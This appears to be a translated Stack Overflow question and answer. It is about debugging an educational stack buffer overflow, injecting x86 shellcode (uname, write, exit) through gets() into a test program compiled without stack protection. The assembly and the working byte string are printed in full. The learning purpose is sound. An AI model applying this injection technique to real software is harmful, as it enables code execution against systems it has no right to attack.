c - 缓冲区溢出中的 Unname 系统调用

Question

我正在尝试学习缓冲区溢出的基础知识，因此我编写了以下代码将其注入(inject)缓冲区:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

上面的代码可以工作并且具有以下字节码(也可以工作):

\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

这个字符串，带有一些NOP和末尾指向堆栈的地址，通过易受攻击的get()函数传递给目标程序。执行时可以看到，strace 命令的以下输出中调用了 uname 系统调用:

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

我不明白的是，为什么当检查 gdb 中的核心转储以了解为什么抛出段错误时，我在整个堆栈的任何位置都看不到我的字节码。可能是 uname 覆盖了它吗？因为理论上有足够的空间，390字节。我错过了什么吗？

谢谢

更新:

main 调用的易受攻击的函数如下所示:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

我已经使用 gdb 进行了单步调试，并且字节代码已正确放置在堆栈中，但我无法(不知道如何)调试在堆栈中执行的指令。

从 strace 的输出中可以看出(它表明二进制文件调用了哪些系统调用)，最后完成的事情是 uname 调用。这就是为什么理论上它会覆盖堆栈中的指令(触发段错误时的eip是:0xbffff350)。

这里是返回main之前的栈值(实际上是返回栈顶地址):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

此外，当运行可执行文件并在 gdb 中传递字节码(运行 < byteCodeFile)时，不会触发段错误，而是“正常退出”，尽管它不打印任何内容。

更新2:

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

事实上它正在打印一些东西。有时是“kali”这个词(所以它可以正常工作)，有时只是一两个字节。

更新3:

使用核心转储启动时 gdb 的输出是:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

它调用uname函数并抛出段错误。

运行里面的程序时gdb的输出(运行

��[Inferior 1 (process 5271) exited normally]

所以它打印一些东西然后退出。

程序的编译是通过以下选项完成的:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

更新4:

我已将 390 更改为 500，成为 4 的倍数，正如@Jester 在评论中指出的那样。现在它可以在终端中运行，但不能在 gdb 和新终端中运行。我认为这是相关的，因为它们有另一个内存布局，因此必须更改字节码末尾的地址。

问题

1.- 当不使用 gdb 执行易受攻击的程序时，为什么会触发段错误以及为什么在分析核心转储时字节码没有显示在堆栈中的任何位置？

2.- 当使用 gdb 执行程序(运行 < byteCodeFile)时，为什么会得到不同的结果？ Uname 会始终使用相同的信息填充 esp 的缓冲区(仅在开始时进行修改)，因此 write 应该始终正确执行，不是吗？

Answer 1

最终的汇编代码如下所示(仅将-390更改为-500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size    
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

最终的字节码:

\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

问题似乎是 390 不是 4 的倍数，因此导致了一些错误。而且整个字节码大小也是错误的。

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

gdb 中的地址必须与在加载环境变量时通过终端利用该程序所使用的地址不同。这里有更好的解释:Buffer overflow works in gdb but not without it